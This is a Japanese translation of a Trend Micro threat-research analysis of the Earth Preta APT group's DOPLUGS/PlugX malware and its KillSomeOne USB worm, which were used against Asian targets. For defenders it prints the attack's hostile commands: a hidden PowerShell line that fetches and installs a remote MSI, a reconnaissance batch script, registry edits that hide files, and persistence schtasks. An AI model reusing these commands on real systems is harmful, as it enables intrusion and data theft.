APT&標的型攻撃
標的型攻撃(APT)グループ「Earth Preta」がマルウェア「DOPLUGS」を用いてアジア諸国や地域を攻撃
マルウェア「DOPLUGS」の亜種を配布する標的型攻撃(APT)グループ「Earth Preta」の活動について、アジア諸国や地域を狙った攻撃に焦点を当てて詳しく解説します。
はじめに
2023年7月、ヨーロッパ諸国を標的とする攻撃キャンペーン「SMUGX」に関する情報がCheck Pointから開示されました。本キャンペーンの実行者は、標的型攻撃(APT:Advanced Persistent Threat)グループとして知られる「Earth Preta(別称:Mustang Panda、Bronze President)」であると考えられています。同年、台湾の行政機関に届いたフィッシングメールをトレンドマイクロが解析していた際、添付ファイルの中から、SMUGXと同様にカスタマイズされたマルウェア「PlugX」が発見されました。これまでのSMUGXに関する調査では、その多くが、ヨーロッパを狙った攻撃に焦点が当てられていました。一方、今回のトレンドマイクロによる調査では、特にアジアを狙った攻撃活動にスポットを当てました。2022年から2023年にかけて数ヶ月に渡って調査を続けた結果、台湾のみにとどまらず、ベトナムやアジアを含むアジア諸国や地域を標的とする検体が次々に発見されました。
上述したカスタマイズ版のマルウェア「PlugX」は、2022年から活発に利用されていました。これに関連する調査報告が、Secureworks、Recorded Future、Check Point、Lab52などから挙がっています。トレンドマイクロの見解によると、PlugXの通常版とカスタマイズ版の間には明確な差異が存在します。具体的には、前者が全てのバックドアコマンドに対応しているのに対し、後者は前者をダウンロードする機能に限定されています。こうした機能上の差異を踏まえ、トレンドマイクロでは、当該のカスタマイズ版PlugXに新たな名称「DOPLUGS」を割り当てました。
DOPLUGSにはUSBワームのモジュール「KillSomeOne」が搭載されていることが、調査によって判明しました。KillSomeOneに関する情報を最初に報告したのはSophosであり、2020年11月のこととなります。一方、Avira が2020年1月に公開した記事にも、同様のUSBワームについて言及されていました。当該の記事もまた、KillSomeOneを搭載したPlugXを分析し、その結果を報告した最初の一例と見なせます。
本稿では、Earth Pretaの攻撃キャンペーンで用いられるマルウェア「DOPLUGS」の分析結果として、主にバックドアコマンドの動作、モジュール「KillSomeOne」を搭載する手口、数年に及ぶ進化の過程に焦点を当てて解説します。
おとり文書および攻撃対象
表1に、2023年7月以降に発見されたDOPLUGSに含まれるファイルの例を示します。ファイルの名前や内容を踏まえると、当該の攻撃は台湾やモンゴルを狙ったものと予想されます。また、ファイル名の中には、2024年1月の台湾大統領選挙に関する内容も見られます。これは、被害者の関心を引き寄せる「ソーシャルエンジニアリング」の手口に相当します。
上表に示すおとり文書「水源路二至五期整建住宅都市更新推動說明.pdf」には、台湾の再開発計画に関する内容が繁体字中国語で記載されています。
また、おとり文書「Үер усны сэрэмжлүүлэг.pdf」には、モンゴルにおける洪水の注意喚起に相当する内容がモンゴル語で記載されています。
マルウェア解析サイト「VirusTotal」のデータを2022年から2023年の範囲で調べたところ、今回の攻撃で狙われた地域として、台湾とベトナムを筆頭に、中国、シンガポール、香港、日本、マレーシア、モンゴルなどのアジア諸国や地域が確認されました。
スピアフィッシングメールによる初期アクセス
被害者に送信されるスピアフィッシングメール(標的型フィッシングメール)にはGoogle Driveへのリンクが埋め込まれ、そのリンク先はパスワード付きのアーカイブファイルを指しています。本アーカイブファイルにより、マルウェア「DOPLUGS」がダウンロードされます。図4に、メールの例を示します。
表1に挙げた不正なWindowsのLNKファイルは文書ファイルとして偽装され、RARファイルの中に格納されています。このLNKファイルには、下記のコマンドが埋め込まれています。
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $install=New-Object -ComObject 'WindowsInstaller.Installer';$install.uilevel = 2;$install.InstallProduct('https://getfiledown[.]com/vgbskgyu','REMOVE=ALL');$install.InstallProduct('https://getfiledown[.]com/vgbskgyu') .\SsEWyTjKIfqnOTtTycNpSuEH.pdf
実際に被害者がLNKファイルをクリックすると、以下のURLからMSIファイルがダウンロードされます。このMSIファイルを実行すると、下記のファイルが端末内に作成されます。
https://getfiledown[.]com/vgbskgyu
- %localappdata%\MPTfGRunFbCn\OneNotem.exe(正規の実行ファイル)
- %localappdata%\MPTfGRunFbCn\msi.dll(不正なDLLファイル)
- %localappdata%\MPTfGRunFbCn\NoteLogger.dat(暗号化状態のペイロード)
攻撃キャンペーンに使用されるツールの分析
以降では、DOPLUGSや、KillSomeOneを搭載したDOPLUGSの亜種、および通常版PlugXの分析結果について解説します。はじめに、この分析に関連するさまざまな調査報告を時系列順に並べ、内容をまとめた結果を下図に示します。
上図では、さまざまな調査報告を発表時期の順に並べ、それぞれのタイトル、出典、関連するマルウェアファミリを示しています。
DOPLUGSのダウンロード機能
DOPLUGSは4つのバックドアコマンドを備えたダウンローダであり、そのうちの1コマンドによってマルウェア「PlugX」の通常版がダウンロードされます。ペイロードの復号や実行手順については、2023年12月にLab52から開示されています。そのため今回は、バックドアの動作自体に焦点を当てて調査を行いました。
この感染フローに関わるファイルを表2に示します。
バックドアの挙動
2018年以来、Earth Pretaは、マルウェア「PlugX」で使用するコマンド群を継続的に刷新してきました。これらのコマンド群は、時期や内容に応じて、下記の4バージョンに分類されると考えられます。
最初の3バージョンに属するバックドアコマンドは、2つのグループに分類できます。第1グループ(0x1001)のコマンドは攻撃者が独自に用意した機能を担うのに対し、第2グループ(0x1002)のコマンドは通常版PlugXの機能をそのまま引き継いで実行します。これに対して最新バージョンのDOPLUGSは、図8に示す4種のバックドアコマンドのみを扱います。
C&Cサーバとの間で送受信するデータは、RC4アルゴリズムで暗号化または復号されます。当該RC4の設定は、C&Cサーバから届く0x20バイトのデータ(内容は可変)によって決定されます。
DOPLUGSの亜種として、同一の機能を有しながらもバックドアコマンドIDの異なる以下のものが発見されました。下表に、本亜種のバックドアコマンドを記載します。
dca39474220575004159ecff70054bcf6239803fcf8d30f4e2e3907b5b97129c
以上の他、DOPLUGSは正規のAdobeアプリケーションを利用して被害者を誘導する点で特徴的です(VirusTotalに登録された検体のうち、ベトナム由来のものが多く該当)。バックドアコマンドの進化過程を踏まえると、先述した古いバージョンが用いるバックドアコマンド・グループ「0x1002」は、もともとファイル配布のみを目的としたものと推測されます。この想定に立てば、DOPLUGSでは当該グループ「0x1002」が削除された一方、代わりとして、後続ペイロードのダウンロード機能を有するバックドアコマンド「0x3004」が追加されたものと解釈できます。
マルウェア「PlugX」の通常版
以降、マルウェア「PlugX」の通常版について解説します。このPlugXは、先述したDOPLUGSのバックドアコマンド「0x3004」によってダウンロードされるものです。本調査では、C&Cサーバから2種類の最終段階用ペイロードをダウンロードすることに成功しました。得られたファイルの一覧を表5に示します。
Palo Altoの報告によると、上記に挙げた通常版PlugXのファイルは、「THORのPlugX」を改変して作られたものと推測されます。下記に、その根拠を示します。
- 双方ともDLLローダの構造が似通っている
- 双方ともPlugXのメイン処理に入る前に同一のシェルコードを使用する
- 双方とも同一のコマンドライン引数を使用する
通常版PlugXの種別「1」
DOPLUGSは、上表の以下をコマンドライン引数なしで起動します。
adobe_licensing_wf_helper.exe
処理の流れを下記に示します。
1. adobe_licensing_wf_helper.exe:インストールおよび永続化を行う。
2. adobe_licensing_wf_helper.exe 600 0:自身をプロセス「%SystemRoot%\system32\WerFault.exe」にインジェクト(埋め込み)する。引数として「601 0」を指定する。
3. %SystemRoot%\system32\WerFault.exe 601 0:バックドアコマンドを実行する。
第1引数に応じた動作の詳細を下記に示します。
通常版PlugXの種別「2」
種別「2」ではコマンドライン引数が6xxから7xxに置き換えられていますが、機能自体に変わりはありません。
種別「2」の特徴は、設定情報の復号処理にあります。種別「1」では設定情報を一度復号すれば平文で読める状態になるのに対し、種別「2」では二度に渡って復号しないと平文になりません。二度目の復号は必要時にのみ行い、そのRC4鍵として「qwedfgx202211」を使用します。
※復号すると以下になる
%ProgramFiles%\Common Files\System\Avast
復号すると以下になる
Avast Browser Service
KillSomeOneを搭載したDOPLUGS
DOPLUGSの検体をさらに追跡調査した結果、KillSomeOneの機能を備えた亜種が発見されました。KillSomeOneは、USB経由でのマルウェア配布、情報収集、文書窃取に特化したモジュールです。これによって初期アクセスの手段がフィッシングやおとり文書以外にも拡張され、全体的な感染能力が高まります。
モジュール「KillSomeOne」に関する情報は、2020年11月のSophosの記事で初めて開示されました。本モジュールを搭載したDOPLUGSの亜種は、先に分析した亜種と多くの点で類似していますが、感染手法に差異があります。ファイル構成としては、「正規の実行ファイル」、「不正なDLL」、「暗号化済みペイロード」に加え、「暗号化済みランチャー(PE実行形式)」が別途追加されています。当該ランチャーは、DLLサイドローディング用の正規な実行ファイルを起動するために用いられます。
ローダ
本調査では、ローダとして、Go言語でコンパイルされた以下のみが発見されました。本DLLに含まれる関数を下図に示します。
InstanceFinderDlgUI.dll
本DLLによる処理の流れを下記に示します。
- 暗号化済みペイロード「InstanceFinderDlg.dat」を同一フォルダ内から読み取る。
- 当該のペイロードをXOR鍵「0x73」で復号する。
- 関数「main_NTCreateThreadEx」を用いて復号済みペイロードを実行する。
ペイロードの動作
ペイロードの動作は、先述した通常のDOPLUGSに類似します。まず、コマンドライン「HPSmart.exe」に添えられた引数を確認します。最初の起動時には引数が未指定のため、永続化の設定のみを行い、自身を再起動します。この際、3桁のランダムな数値を引数として指定します。引数に応じた動作の詳細を、下表に示します。
永続化
永続化の手続きを下記に示します。
1. 全ての関連ファイルをフォルダ「C:\Users\Public\HPSmartMZWx\」の配下にコピーする。
2. レジストリ「Software\Microsoft\Windows\CurrentVersion\Run」の値として「C:\Users\Public\HPSmartMZWx\HPSmart.exe {3桁のランダムな数値}」を設定する。
3. プロセス「C:\Users\Public\HPSmartMZWx\HPSmart.exe {3桁のランダムな数値}」を作成する。
KillSomeOneのスレッド
KillSomeOneのスレッドでは、主に2つの処理を実行します。第1の処理では、古いマルウェア「PlugX」によって残された痕跡の全てを削除します。削除対象として、ファイル、プロセス、レジストリ、タスクスケジューラ設定などが挙げられます。
一方、第2の処理は、USB経由の感染に関与します。まず、以下のAPIと引数付きで呼び出し、USBドライブを識別します。
API「DeviceIoControl」
引数「0x2d1400」
次に、標的のUSBドライブ内に3種のスレッドを作成します。以降、各スレッドの働きについて解説します。
スレッド1:USBドライブのワームとして動作(水平移動・内部活動)
本スレッドは、はじめに自身が稼働済みしていることを示すミューテックス(排他制御用オブジェクト)を以下の名前で作成します。
USB_NOTIFY3_INF_{USBボリューム}
また、ワームとしての活動を開始する前に、下記のようにレジストリを変更することで、マルウェアや窃取文書の格納先フォルダ、およびファイル拡張子全般を非表示にします。
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced, Hidden=0
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced, ShowSuperHidden=0
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced, HideFileExt=1
この後、表10に挙げた4ファイルが、感染したUSBドライブの隠しフォルダ側にコピーされます。
HPReport.exeのコピー先:{USBボリューム}:\Usb Drive\1.0\5.dat
HPSmart.exeのコピー先:{USBボリューム}:\Usb Drive\1.0\6.dat
InstanceFinderDlgUI.dllのコピー先:{USBボリューム}:\Usb Drive\1.0\2.dat
InstanceFinderDlg.datのコピー先:{USBボリューム}:\Usb Drive\1.0\InstanceFinderDlg.dat
また、ランチャー「HPReport.exe」の復号済みデータは、以下のパスにコピーされます(USBドライブに見えるように偽装)。
{USBボリューム}:\Usb Disk ({USBの空き容量}).exe
また、下記のフォルダにもの名称でコピーが作成されます。
名称
opn-U({USBの空き容量}).cmd
フォルダ
{USBボリューム}:\AVAST\Protection for Autorun\
{USBボリューム}:\SMADAV\SMADAV\
{USBボリューム}:\Removable Disk\
先述したようにモジュール「KillSomeOne」はUSB経由の感染機能に特化しています。ランチャーをUSBディスクに偽装することで、ユーザがそれをクリックするように誘導します。拡張子を確認しない限り、この偽装をひと目で看破することは難しいでしょう。ランチャーの動作自体は簡潔です。まず、以下にリネームします。
2.datをInstanceFinderDlgUI.dll
次に6.datを起動します。6.datの実体は先述のHPSmart.exeであり、DLLサイドローディングの手口によって以下をロードします。
InstanceFinderDlgUI.dll
また、下記フォルダ内の全ファイルが、以下のパスの配下にコピーされます。
パス
{USBボリューム}:\Usb Disk\
フォルダ
{USBボリューム}:\
{USBボリューム}:\Kaspersky\
{USBボリューム}:\Kaspersky\Usb Drive\
{USBボリューム}:\Usb Drive\3.0\
{USBボリューム}:\Kaspersky\Removable Disk\ (サブフォルダ内のファイルも含む)
{USBボリューム}:\AVAST\Protection for Autorun\ (サブフォルダ内のファイルも含む)
{USBボリューム}:\SMADAV\SMADAV\ (サブフォルダ内のファイルも含む)
スレッド2:情報窃取(収集)
本スレッドは、はじめに自身が稼働していることを示すミューテックスを以下の名前で作成します。情報窃取の実施方式として、以降に述べる2種が存在します。
USB_NOTIFY3_COP_{USBボリューム}
第1方式:文書ファイルの窃取
以下のURLへの接続に成功した場合、
https://www.microsoft.com/
下記フォルダに存在するファイルの拡張子をチェックします。
{USBボリューム}:\Kaspersky\Usb Drive\1.0\
{USBボリューム}:\Usb Drive\1.0\
{USBボリューム}:\.System\Device\USB\3.0\Kaspersky\Usb Drive\1.0
{USBボリューム}:\.System\Device\USB\3.0\Usb Drive\1.0\
拡張子が「.cmd」、「.bat」、「.dll」以外で、またファイル名が以下でない場合
RECYCLERS.BIN
当該ファイルを以下のフォルダにコピーし、元のファイルを空にします。
%userprofile%\AppData\Roaming\Render\1.0\
この他、本稿執筆時点ではまだ未実装の機能も確認されました。当該の機能は、先と同じフォルダにあるファイルの中で、下記の拡張子を持つものを抽出します。
- .doc
- .docx
- .ppt
- .pptx
- .xls
- .xlsx
続いて対象ファイルの名前をBase64でエンコードし、内容についても暗号化した上で、カレント・プロセスのフォルダ側にコピーします。
ファイルの暗号化アルゴリズムとして、下記に示すXOR演算を使用します。
encrypted_contents = []
encrypted_key = 0x6D
for i in range(len(contents)):
encrypted_contents.append(contents[i] ^ encrypted_key)
encrypted_key += 0xAA
第2方式:被害者情報の窃取
第1方式で述べた接続が失敗した場合、以下のレジストリ値をチェックしますが、この値は存在しません。
(HKCUまたはHKLM)\System\CurrentControlSet\Control\Network\Version
次に、被害者情報を窃取するバッチスクリプトを以下に作成し、実行します。
%temp%\edg{QueryPerformanceCounterの値}.bat
%comspec% /q /c systeminfo >"%~dp0AE353BBEB1C6603E_E.dat"
%comspec% /q /c ipconfig /all >>"%~dp0AE353BBEB1C6603E_E.dat"
%comspec% /q /c netstat -ano >>"%~dp0AE353BBEB1C6603E_E.dat"
%comspec% /q /c arp -a >>"%~dp0AE353BBEB1C6603E_E.dat"
%comspec% /q /c tasklist /v >>"%~dp0AE353BBEB1C6603E_E.dat"
del %0
次に、バッチスクリプトによって得られたデータを暗号化し、下記のパスに保管します。
{USBボリューム}:\Usb Drive\1.0\ {レジストリ「SOFTWARE\CLASSES\ms-pu\CLSID」の値}.dat
スレッド3:暗号化されたバッチスクリプトの実行
本スレッドは、はじめに自身が稼働していることを示すミューテックスを以下の名前で作成します。
USB_NOTIFY_BAT_H3_{USBボリューム}
なお、本スレッドの処理は、下記条件が満たされた場合にのみ実行されます。
URL「https://www.microsoft.com」への接続に失敗
以下のレジストリに値が存在しない(本レジストリはコマンドライン引数「-net」が指定された場合に有効化される)
System\\CurrentControlSet\\Control\\Network\\version
本スレッドは、下記フォルダから全てのバッチスクリプトを検索します。
{USBボリューム}:\Usb Drive\1.0\p\
{USBボリューム}:\Kaspersky\Usb Drive\1.0\p\
{USBボリューム}:\.System\Device\USB\3.0\Usb Drive\1.0\p\
発見されたバッチスクリプトの名前に文字列「tmpc_」や「tmp_」が含まれていない場合は、当該スクリプトを復号します。復号アルゴリズムは、「スレッド2」の「第1方式」で述べた方式と同様です。
次に、復号済みスクリプトを以下のパスに保存します。
%temp%\{QueryPerformanceCounterの値}.bat
当該スクリプトの実行には関数「ShellExecuteW」が用いられ、下記のようにコードが組まれます。
{USBボリューム}
cd "{USBボリューム}:\target folder\"
{復号済みバッチファイルの内容}
del %0
DOPLUGSによるバックドアの動作(コマンドコントロール)
バックドア自体の動作は先述したDOPLUGSの原型と同様であり、C&Cサーバとの通信、バックドアコマンドの対応、後続処理に必要な通常版PlugXのダウンロードを行います。
Wi-Fi通信の有効化
タスクスケジューラを設定してWi-Fi通信を有効化するために、下記のコマンドラインが実行されます。
cmd.exe /c schtasks.exe /create /sc minute /mo 30 /tn "Security WIFI Script" /tr "netsh interface set interface """Wireless Network Connection""" enabled" /ru SYSTEM /F&schtasks.exe /run /tn "Security WIFI Script"
cmd.exe /c schtasks.exe /create /sc minute /mo 30 /tn "Security WIFI2 Script" /tr "netsh interface set interface """Wireless Network Connection 2""" enabled" /ru SYSTEM /F&schtasks.exe /run /tn "Security WIFI2 Script"
cmd.exe /c schtasks.exe /create /sc minute /mo 30 /tn "Security WIFI3 Script" /tr "netsh interface set interface """Wireless Network Connection 3""" enabled" /ru SYSTEM /F&schtasks.exe /run /tn "Security WIFI3 Script"
過去の亜種
本調査では、モジュール「KillSomeOne」を搭載したDOPLUGSだけでなく、同モジュールを搭載したカスタマイズ版PlugXも発見されました。KillSomeOneを搭載する手口自体は、2020年の時点でAviraから報告されています。そのため、この手口はすでに3年間に渡って使用されているものと推測されます。Aviraが報告したPlugXは、KillSomeOneによってUSB経由で拡散した亜種の初事例と考えられます。
KillSomeOneを搭載したPlugXの亜種を、下表に挙げます。
さまざまな亜種のバックドアコマンドを分析した結果として、HodurからDOPLUGSへの移行過程に相当するものが見出されました。本亜種は、通常版PlugXのディスクモジュールを保持し、そのバックドアコマンドについても、DOPLUGSを強化したような作りとなっています(先述の通り、DOPLUGSの原型には通常版PlugXのモジュールが一切組み込まれていない)。また、亜種「KillSomeOne + Hodur」が用いるC&Cサーバが2種類存在する点も、注目に値します。第1種はバックドアコマンドの取得元として、第2種はsvchost.exeに埋め込むペイロードの取得元として使用されます。
まとめ
APTグループ「Earth Preta」は、アジア太平洋やヨーロッパを中心に、世界各地の行政機関に対する攻撃活動を展開してきました。その手段として、特にスピアフィッシングメールやGoogle Driveリンクを用いる傾向が見られます。
本稿では、Earth Pretaによる活動の分析結果として、マルウェア「DOPLUGS(2022年から使用されていると考えられる)」の用途や、マルウェア「PlugX」の通常版をダウンロードする際に用いられるツールについて解説しました。さまざまな検体を追跡した結果、モジュール「KillSomeOne」を搭載したDOPLUGSの亜種も発見されました。また、当該モジュールを組み込む手口は2018年にまで遡ることが確認されました。以上より、Earth Pretaはかなりの期間に渡って攻撃ツールを刷新し続け、新たな機能を追加してきたものと考えられます。
トレンドマイクロの調査によると、Earth Pretaの攻勢は依然として活発であり、特にヨーロッパやアジアを狙った攻撃が頻発しています。その傾向は、今後も続くと予測されます。一連の状況に対処するため、セキュリティチームでは、Earth Pretaの活動や手口について理解を深めることが推奨されます。
MITRE ATT&CK Techniques
MITRE ATT&CK Tactics and Techniquesはこちらで確認してください。
侵入の痕跡(Indicators of Compromise、IoC)
侵入の痕跡(IoC)はこちらで確認してください。
参考記事:
Earth Preta Campaign Uses DOPLUGS to Target Asia
By: Sunny Lu, Pierre Lee
翻訳:清水 浩平(Core Technology Marketing, Trend Micro™ Research)